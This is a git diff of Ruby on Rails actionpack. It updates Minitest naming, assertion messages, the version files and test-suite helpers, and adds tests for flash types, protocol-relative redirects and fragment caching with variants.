diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index 496682e8bd..f1f998d932 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -211,7 +211,7 @@ module ActionDispatch
def fail_on(exception_class)
yield
rescue exception_class => e
- raise MiniTest::Assertion, e.message
+ raise Minitest::Assertion, e.message
end
end
end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
index 3253a3d424..12023e6f77 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -267,7 +267,7 @@ module ActionDispatch
text.strip! unless NO_STRIP.include?(match.name)
text.sub!(/\A\n/, '') if match.name == "textarea"
unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
- content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, text)
+ content_mismatch ||= sprintf("<%s> expected but was\n<%s>", match_with, text)
true
end
end
@@ -276,7 +276,7 @@ module ActionDispatch
html = match.children.map(&:to_s).join
html.strip! unless NO_STRIP.include?(match.name)
unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
- content_mismatch ||= sprintf("<%s> expected but was\n<%s>.", match_with, html)
+ content_mismatch ||= sprintf("<%s> expected but was\n<%s>", match_with, html)
true
end
end
@@ -289,9 +289,9 @@ module ActionDispatch
# FIXME: minitest provides messaging when we use assert_operator,
# so is this custom message really needed?
- message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size}.)
+ message = message || %(Expected #{count_description(min, max, count)} matching "#{selector.to_s}", found #{matches.size})
if count
- assert_equal matches.size, count, message
+ assert_equal count, matches.size, message
else
assert_operator matches.size, :>=, min, message if min
assert_operator matches.size, :<=, max, message if max
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 1f899a434c..cc6b763093 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -137,7 +137,7 @@ module ActionDispatch
class Session
DEFAULT_HOST = "www.example.com"
- include MiniTest::Assertions
+ include Minitest::Assertions
include TestProcess, RequestHelpers, Assertions
%w( status status_message headers body redirect? ).each do |method|
@@ -242,7 +242,7 @@ module ActionDispatch
@https = flag
end
- # Return +true+ if the session is mimicking a secure HTTPS request.
+ # Returns +true+ if the session is mimicking a secure HTTPS request.
#
# if session.https?
# ...
@@ -298,8 +298,6 @@ module ActionDispatch
session = Rack::Test::Session.new(_mock_session)
- env.merge!(env)
-
# NOTE: rack-test v0.5 doesn't build a default uri correctly
# Make sure requested path is always a full uri
uri = URI.parse('/')
@@ -489,10 +487,6 @@ module ActionDispatch
@@app = nil
def self.app
- if !@@app && !ActionDispatch.test_app
- ActiveSupport::Deprecation.warn "Rails application fallback is deprecated and no longer works, please set ActionDispatch.test_app"
- end
-
@@app || ActionDispatch.test_app
end
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
index c63778f870..57c678843b 100644
--- a/actionpack/lib/action_dispatch/testing/test_request.rb
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -3,7 +3,11 @@ require 'rack/utils'
module ActionDispatch
class TestRequest < Request
- DEFAULT_ENV = Rack::MockRequest.env_for('/')
+ DEFAULT_ENV = Rack::MockRequest.env_for('/',
+ 'HTTP_HOST' => 'test.host',
+ 'REMOTE_ADDR' => '0.0.0.0',
+ 'HTTP_USER_AGENT' => 'Rails Testing'
+ )
def self.new(env = {})
super
@@ -12,10 +16,6 @@ module ActionDispatch
def initialize(env = {})
env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
super(default_env.merge(env))
-
- self.host = 'test.host'
- self.remote_addr = '0.0.0.0'
- self.user_agent = 'Rails Testing'
end
def request_method=(method)
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index ad5acd8080..77f656d6f1 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
new file mode 100644
index 0000000000..beaf35d3da
--- /dev/null
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionPack
+ # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index fd08f392aa..7088cd2760 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActionPack
- # Returns the version of the currently loaded ActionPack as a Gem::Version
+ # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActionPack.version.segments
- STRING = ActionPack.version.to_s
+ gem_version
end
end
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 5709ad0378..b1a5044399 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -37,7 +37,7 @@ module AbstractController
test "does not register unknown mime types" do
collector = MyCollector.new
- assert_raise NameError do
+ assert_raise NoMethodError do
collector.unknown
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 8213997f4e..03a4741f42 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -43,6 +43,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Register danish language for testing
I18n.backend.store_translations 'da', {}
I18n.backend.store_translations 'pt-BR', {}
@@ -64,28 +67,6 @@ module RackTestUtils
extend self
end
-module RenderERBUtils
- def view
- @view ||= begin
- path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::PathSet.new([path])
- ActionView::Base.new(view_paths)
- end
- end
-
- def render_erb(string)
- @virtual_path = nil
-
- template = ActionView::Template.new(
- string.strip,
- "test template",
- ActionView::Template::Handlers::ERB,
- {})
-
- template.render(self, {}).strip
- end
-end
-
SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
module ActionDispatch
@@ -290,15 +271,8 @@ module ActionController
end
end
-class ::ApplicationController < ActionController::Base
-end
-module ActionView
- class TestCase
- # Must repeat the setup because AV::TestCase is a duplication
- # of AC::TestCase
- include ActionDispatch::SharedRoutes
- end
+class ::ApplicationController < ActionController::Base
end
class Workshop
@@ -360,7 +334,6 @@ class ThreadsController < ResourcesController; end
class MessagesController < ResourcesController; end
class CommentsController < ResourcesController; end
class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
class LogosController < ResourcesController; end
class AccountsController < ResourcesController; end
@@ -371,8 +344,6 @@ class PreferencesController < ResourcesController; end
module Backoffice
class ProductsController < ResourcesController; end
- class TagsController < ResourcesController; end
- class ManufacturersController < ResourcesController; end
class ImagesController < ResourcesController; end
module Admin
@@ -380,3 +351,12 @@ module Backoffice
class ImagesController < ResourcesController; end
end
end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
diff --git a/actionpack/test/active_record_unit.rb b/actionpack/test/active_record_unit.rb
deleted file mode 100644
index 95fbb112c0..0000000000
--- a/actionpack/test/active_record_unit.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'abstract_unit'
-
-# Define the essentials
-class ActiveRecordTestConnector
- cattr_accessor :able_to_connect
- cattr_accessor :connected
-
- # Set our defaults
- self.connected = false
- self.able_to_connect = true
-end
-
-# Try to grab AR
-unless defined?(ActiveRecord) && defined?(FixtureSet)
- begin
- PATH_TO_AR = "#{File.dirname(__FILE__)}/../../activerecord/lib"
- raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
- $LOAD_PATH.unshift PATH_TO_AR
- require 'active_record'
- rescue LoadError => e
- $stderr.print "Failed to load Active Record. Skipping Active Record assertion tests: #{e}"
- ActiveRecordTestConnector.able_to_connect = false
- end
-end
-$stderr.flush
-
-
-# Define the rest of the connector
-class ActiveRecordTestConnector
- class << self
- def setup
- unless self.connected || !self.able_to_connect
- setup_connection
- load_schema
- require_fixture_models
- self.connected = true
- end
- rescue Exception => e # errors from ActiveRecord setup
- $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
- #$stderr.puts " #{e.backtrace.join("\n ")}\n"
- self.able_to_connect = false
- end
-
- private
- def setup_connection
- if Object.const_defined?(:ActiveRecord)
- defaults = { :database => ':memory:' }
- adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
- options = defaults.merge :adapter => adapter, :timeout => 500
- ActiveRecord::Base.establish_connection(options)
- ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
- ActiveRecord::Base.connection
-
- Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
- else
- raise "Can't setup connection since ActiveRecord isn't loaded."
- end
- end
-
- # Load actionpack sqlite tables
- def load_schema
- File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
- ActiveRecord::Base.connection.execute(sql) unless sql.blank?
- end
- end
-
- def require_fixture_models
- Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
- end
- end
-end
-
-class ActiveRecordTestCase < ActionController::TestCase
- include ActiveRecord::TestFixtures
-
- # Set our fixture path
- if ActiveRecordTestConnector.able_to_connect
- self.fixture_path = [FIXTURE_LOAD_PATH]
- self.use_transactional_fixtures = false
- end
-
- def self.fixtures(*args)
- super if ActiveRecordTestConnector.connected
- end
-
- def run(*args)
- super if ActiveRecordTestConnector.connected
- end
-end
-
-ActiveRecordTestConnector.setup
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index ca1d58765d..5e64cae7e2 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -19,7 +19,7 @@ module ActionDispatch
@response = FakeResponse.new sym
assert_response sym
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
end
@@ -29,11 +29,11 @@ module ActionDispatch
@response = FakeResponse.new 400
assert_response 400
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :unauthorized
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response 500
}
end
@@ -42,14 +42,22 @@ module ActionDispatch
@response = FakeResponse.new 401
assert_response :unauthorized
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :ok
}
- assert_raises(MiniTest::Assertion) {
+ assert_raises(Minitest::Assertion) {
assert_response :success
}
end
+
+ def test_assert_response_sym_typo
+ @response = FakeResponse.new 200
+
+ assert_raises(ArgumentError) {
+ assert_response :succezz
+ }
+ end
end
end
end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index 22a410db94..b6b5a218cc 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -39,6 +39,8 @@ class ActionPackAssertionsController < ActionController::Base
def redirect_external() redirect_to "http://www.rubyonrails.org"; end
+ def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
+
def response404() head '404 AWOL' end
def response500() head '500 Sorry' end
@@ -258,6 +260,19 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
end
end
+ def test_assert_redirect_failure_message_with_protocol_relative_url
+ begin
+ process :redirect_external_protocol_relative
+ assert_redirected_to "/foo"
+ rescue ActiveSupport::TestCase::Assertion => ex
+ assert_no_match(
+ /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+ ex.message,
+ 'protocol relative url was incorrectly normalized'
+ )
+ end
+ end
+
def test_template_objects_exist
process :assign_this
assert !@controller.instance_variable_defined?(:"@hi")
@@ -309,6 +324,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
process :redirect_external
assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+
+ process :redirect_external_protocol_relative
+ assert_equal '//www.rubyonrails.org', @response.redirect_url
end
def test_no_redirect_url
@@ -426,22 +444,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
def test_assert_response_uses_exception_message
@controller = AssertResponseWithUnexpectedErrorController.new
- get :index
+ e = assert_raise RuntimeError, 'Expected non-success response' do
+ get :index
+ end
assert_response :success
- flunk 'Expected non-success response'
- rescue RuntimeError => e
- assert e.message.include?('FAIL')
+ assert_includes 'FAIL', e.message
end
def test_assert_response_failure_response_with_no_exception
@controller = AssertResponseWithUnexpectedErrorController.new
get :show
- assert_response :success
- flunk 'Expected non-success response'
- rescue ActiveSupport::TestCase::Assertion
- # success
- rescue
- flunk "assert_response failed to handle failure response with missing, but optional, exception."
+ assert_response 500
+ assert_equal 'Boom', response.body
end
end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index 3d667f0a2f..580604df3a 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -8,6 +8,9 @@ require 'abstract_unit'
require 'controller/fake_controllers'
require 'action_mailer'
+require 'action_view'
+
+ActionMailer::Base.send(:include, ActionView::Layouts)
ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
class AssertSelectTest < ActionController::TestCase
@@ -76,13 +79,13 @@ class AssertSelectTest < ActionController::TestCase
def test_assert_select
render_html %Q{<div id="1"></div><div id="2"></div>}
assert_select "div", 2
- assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
+ assert_failure(/\AExpected at least 1 element matching \"p\", found 0\.$/) { assert_select "p" }
end
def test_equality_integer
render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
- assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", 0 }
+ assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) { assert_select "div", 3 }
+ assert_failure(/\AExpected exactly 0 elements matching \"div\", found 2\.$/) { assert_select "div", 0 }
end
def test_equality_true_false
@@ -97,13 +100,14 @@ class AssertSelectTest < ActionController::TestCase
def test_equality_false_message
render_html %Q{<div id="1"></div><div id="2"></div>}
- assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", false }
+ assert_failure(/\AExpected exactly 0 elements matching \"div\", found 2\.$/) { assert_select "div", false }
end
def test_equality_string_and_regexp
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
assert_nothing_raised { assert_select "div", "foo" }
assert_raise(Assertion) { assert_select "div", "bar" }
+ assert_failure(/\A<bar> expected but was\n<foo>\.$/) { assert_select "div", "bar" }
assert_nothing_raised { assert_select "div", :text=>"foo" }
assert_raise(Assertion) { assert_select "div", :text=>"bar" }
assert_nothing_raised { assert_select "div", /(foo|bar)/ }
@@ -121,6 +125,7 @@ class AssertSelectTest < ActionController::TestCase
assert_raise(Assertion) { assert_select "p", html }
assert_nothing_raised { assert_select "p", :html=>html }
assert_raise(Assertion) { assert_select "p", :html=>text }
+ assert_failure(/\A<#{text}> expected but was\n<#{html}>\.$/) { assert_select "p", :html=>text }
# No stripping for pre.
render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
text = "\n\"This is not a big problem,\" he said.\n"
@@ -141,29 +146,29 @@ class AssertSelectTest < ActionController::TestCase
def test_counts
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
assert_nothing_raised { assert_select "div", 2 }
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+ assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) do
assert_select "div", 3
end
assert_nothing_raised { assert_select "div", 1..2 }
- assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+ assert_failure(/\AExpected between 3 and 4 elements matching \"div\", found 2\.$/) do
assert_select "div", 3..4
end
assert_nothing_raised { assert_select "div", :count=>2 }
- assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
+ assert_failure(/\AExpected exactly 3 elements matching \"div\", found 2\.$/) do
assert_select "div", :count=>3
end
assert_nothing_raised { assert_select "div", :minimum=>1 }
assert_nothing_raised { assert_select "div", :minimum=>2 }
- assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+ assert_failure(/\AExpected at least 3 elements matching \"div\", found 2\.$/) do
assert_select "div", :minimum=>3
end
assert_nothing_raised { assert_select "div", :maximum=>2 }
assert_nothing_raised { assert_select "div", :maximum=>3 }
- assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
+ assert_failure(/\AExpected at most 1 element matching \"div\", found 2\.$/) do
assert_select "div", :maximum=>1
end
assert_nothing_raised { assert_select "div", :minimum=>1, :maximum=>2 }
- assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+ assert_failure(/\AExpected between 3 and 4 elements matching \"div\", found 2\.$/) do
assert_select "div", :minimum=>3, :maximum=>4
end
end
@@ -201,7 +206,7 @@ class AssertSelectTest < ActionController::TestCase
end
end
- assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
+ assert_failure(/\AExpected at least 1 element matching \"#4\", found 0\.$/) do
assert_select "div" do
assert_select "#4"
end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index e521c6ce96..58a86ce9af 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -20,7 +20,7 @@ class FragmentCachingMetalTest < ActionController::TestCase
@controller = FragmentCachingMetalTestController.new
@controller.perform_caching = true
@controller.cache_store = @store
- @params = { controller: 'posts', action: 'index'}
+ @params = { controller: 'posts', action: 'index' }
@request = ActionController::TestRequest.new
@response = ActionController::TestResponse.new
@controller.params = @params
@@ -40,7 +40,7 @@ class CachingController < ActionController::Base
end
class FragmentCachingTestController < CachingController
- def some_action; end;
+ def some_action; end
end
class FragmentCachingTest < ActionController::TestCase
@@ -164,6 +164,13 @@ class FunctionalCachingController < CachingController
end
end
+ def formatted_fragment_cached_with_variant
+ respond_to do |format|
+ format.html.phone
+ format.html
+ end
+ end
+
def fragment_cached_without_digest
end
end
@@ -190,7 +197,7 @@ CACHED
assert_equal expected_body, @response.body
assert_equal "This bit's fragment cached",
- @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
+ @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached")}")
end
def test_fragment_caching_in_partials
@@ -199,7 +206,7 @@ CACHED
assert_match(/Old fragment caching in a partial/, @response.body)
assert_match("Old fragment caching in a partial",
- @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
+ @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial")}"))
end
def test_skipping_fragment_cache_digesting
@@ -217,7 +224,7 @@ CACHED
assert_match(/Some inline content/, @response.body)
assert_match(/Some cached content/, @response.body)
assert_match("Some cached content",
- @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
+ @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached")}"))
end
def test_html_formatted_fragment_caching
@@ -228,7 +235,7 @@ CACHED
assert_equal expected_body, @response.body
assert_equal "<p>ERB</p>",
- @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
end
def test_xml_formatted_fragment_caching
@@ -239,12 +246,26 @@ CACHED
assert_equal expected_body, @response.body
assert_equal " <p>Builder</p>\n",
- @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+ end
+
+
+ def test_fragment_caching_with_variant
+ @request.variant = :phone
+
+ get :formatted_fragment_cached_with_variant, :format => "html"
+ assert_response :success
+ expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
+
+ assert_equal expected_body, @response.body
+
+ assert_equal "<p>PHONE</p>",
+ @store.read("views/test.host/functional_caching/formatted_fragment_cached_with_variant/#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}")
end
private
- def template_digest(name, format)
- ActionView::Digestor.digest(name, format, @controller.lookup_context)
+ def template_digest(name)
+ ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
end
end
@@ -312,18 +333,3 @@ class ViewCacheDependencyTest < ActionController::TestCase
assert_equal %w(trombone flute), HasDependenciesController.new.view_cache_dependencies
end
end
-
-class DeprecatedPageCacheExtensionTest < ActiveSupport::TestCase
- def test_page_cache_extension_binds_default_static_extension
- deprecation_behavior = ActiveSupport::Deprecation.behavior
- ActiveSupport::Deprecation.behavior = :silence
- old_extension = ActionController::Base.default_static_extension
-
- ActionController::Base.page_cache_extension = '.rss'
-
- assert_equal '.rss', ActionController::Base.default_static_extension
- ensure
- ActiveSupport::Deprecation.behavior = deprecation_behavior
- ActionController::Base.default_static_extension = old_extension
- end
-end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index 4c82625e8e..c87494aa64 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -208,6 +208,10 @@ class FilterTest < ActionController::TestCase
before_filter(ConditionalClassFilter, :ensure_login, Proc.new {|c| c.instance_variable_set(:"@ran_proc_filter1", true)}, :except => :show_without_filter) { |c| c.instance_variable_set(:"@ran_proc_filter2", true)}
end
+ class OnlyConditionalOptionsFilter < ConditionalFilterController
+ before_filter :ensure_login, :only => :index, :if => Proc.new {|c| c.instance_variable_set(:"@ran_conditional_index_proc", true) }
+ end
+
class ConditionalOptionsFilter < ConditionalFilterController
before_filter :ensure_login, :if => Proc.new { |c| true }
before_filter :clean_up_tmp, :if => Proc.new { |c| false }
@@ -221,6 +225,10 @@ class FilterTest < ActionController::TestCase
skip_before_filter :clean_up_tmp, if: -> { true }
end
+ class ClassController < ConditionalFilterController
+ before_filter ConditionalClassFilter
+ end
+
class PrependingController < TestController
prepend_before_filter :wonderful_life
# skip_before_filter :fire_flash
@@ -606,6 +614,18 @@ class FilterTest < ActionController::TestCase
assert_equal %w( ensure_login ), assigns["ran_filter"]
end
+ def test_skipping_class_filters
+ test_process(ClassController)
+ assert_equal true, assigns["ran_class_filter"]
+
+ skipping_class_controller = Class.new(ClassController) do
+ skip_before_filter ConditionalClassFilter
+ end
+
+ test_process(skipping_class_controller)
+ assert_nil assigns['ran_class_filter']
+ end
+
def test_running_collection_condition_filters
test_process(ConditionalCollectionFilterController)
assert_equal %w( ensure_login ), assigns["ran_filter"]
@@ -649,6 +669,11 @@ class FilterTest < ActionController::TestCase
assert !assigns["ran_class_filter"]
end
+ def test_running_only_condition_and_conditional_options
+ test_process(OnlyConditionalOptionsFilter, "show")
+ assert_not assigns["ran_conditional_index_proc"]
+ end
+
def test_running_before_and_after_condition_filters
test_process(BeforeAndAfterConditionController)
assert_equal %w( ensure_login clean_up_tmp), assigns["ran_filter"]
@@ -884,17 +909,6 @@ class ControllerWithFilterInstance < PostsController
around_filter YieldingFilter.new, :only => :raises_after
end
-class ControllerWithFilterMethod < PostsController
- class YieldingFilter < DefaultFilter
- def around(controller)
- yield
- raise After
- end
- end
-
- around_filter YieldingFilter.new.method(:around), :only => :raises_after
-end
-
class ControllerWithProcFilter < PostsController
around_filter(:only => :no_raise) do |c,b|
c.instance_variable_set(:"@before", true)
diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb
index 5490d9394b..50b36a0567 100644
--- a/actionpack/test/controller/flash_hash_test.rb
+++ b/actionpack/test/controller/flash_hash_test.rb
@@ -67,6 +67,16 @@ module ActionDispatch
assert_equal({'flashes' => {'message' => 'Hello'}, 'discard' => %w[message]}, hash.to_session_value)
end
+ def test_from_session_value_on_json_serializer
+ decrypted_data = "{ \"session_id\":\"d98bdf6d129618fc2548c354c161cfb5\", \"flash\":{\"discard\":[], \"flashes\":{\"message\":\"hey you\"}} }"
+ session = ActionDispatch::Cookies::JsonSerializer.load(decrypted_data)
+ hash = Flash::FlashHash.from_session_value(session['flash'])
+
+ assert_equal({'discard' => %w[message], 'flashes' => { 'message' => 'hey you'}}, hash.to_session_value)
+ assert_equal "hey you", hash[:message]
+ assert_equal "hey you", hash["message"]
+ end
+
def test_empty?
assert @hash.empty?
@hash['zomg'] = 'bears'
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index 3b874a739a..3720a920d0 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -174,14 +174,14 @@ class FlashTest < ActionController::TestCase
flash.update(:foo => :foo_indeed, :bar => :bar_indeed)
assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
- assert_nil flash.discard(:unknown) # non existant key passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard().to_hash) # nothing passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
+ assert_nil flash.discard(:unknown) # non existent key passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard().to_hash) # nothing passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.discard(nil).to_hash) # nothing passed
assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
- assert_nil flash.keep(:unknown) # non existant key passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep().to_hash) # nothing passed
- assert_equal({:foo => :foo_indeed, :bar => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
+ assert_nil flash.keep(:unknown) # non existent key passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep().to_hash) # nothing passed
+ assert_equal({"foo" => :foo_indeed, "bar" => :bar_indeed}, flash.keep(nil).to_hash) # nothing passed
end
def test_redirect_to_with_alert
@@ -210,9 +210,30 @@ class FlashTest < ActionController::TestCase
end
def test_redirect_to_with_adding_flash_types
- @controller.class.add_flash_types :foo
+ original_controller = @controller
+ test_controller_with_flash_type_foo = Class.new(TestController) do
+ add_flash_types :foo
+ end
+ @controller = test_controller_with_flash_type_foo.new
get :redirect_with_foo_flash
assert_equal "for great justice", @controller.send(:flash)[:foo]
+ ensure
+ @controller = original_controller
+ end
+
+ def test_add_flash_type_to_subclasses
+ test_controller_with_flash_type_foo = Class.new(TestController) do
+ add_flash_types :foo
+ end
+ subclass_controller_with_no_flash_type = Class.new(test_controller_with_flash_type_foo)
+ assert subclass_controller_with_no_flash_type._flash_types.include?(:foo)
+ end
+
+ def test_does_not_add_flash_type_to_parent_class
+ Class.new(TestController) do
+ add_flash_types :bar
+ end
+ assert_not TestController._flash_types.include?(:bar)
end
end
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
index 3655b90e32..00d4612ac9 100644
--- a/actionpack/test/controller/force_ssl_test.rb
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -93,8 +93,6 @@ class RedirectToSSL < ForceSSLController
end
class ForceSSLControllerLevelTest < ActionController::TestCase
- tests ForceSSLControllerLevel
-
def test_banana_redirects_to_https
get :banana
assert_response 301
@@ -115,8 +113,6 @@ class ForceSSLControllerLevelTest < ActionController::TestCase
end
class ForceSSLCustomOptionsTest < ActionController::TestCase
- tests ForceSSLCustomOptions
-
def setup
@request.env['HTTP_HOST'] = 'www.example.com:80'
end
@@ -189,8 +185,6 @@ class ForceSSLCustomOptionsTest < ActionController::TestCase
end
class ForceSSLOnlyActionTest < ActionController::TestCase
- tests ForceSSLOnlyAction
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -204,8 +198,6 @@ class ForceSSLOnlyActionTest < ActionController::TestCase
end
class ForceSSLExceptActionTest < ActionController::TestCase
- tests ForceSSLExceptAction
-
def test_banana_not_redirects_to_https
get :banana
assert_response 200
@@ -219,8 +211,6 @@ class ForceSSLExceptActionTest < ActionController::TestCase
end
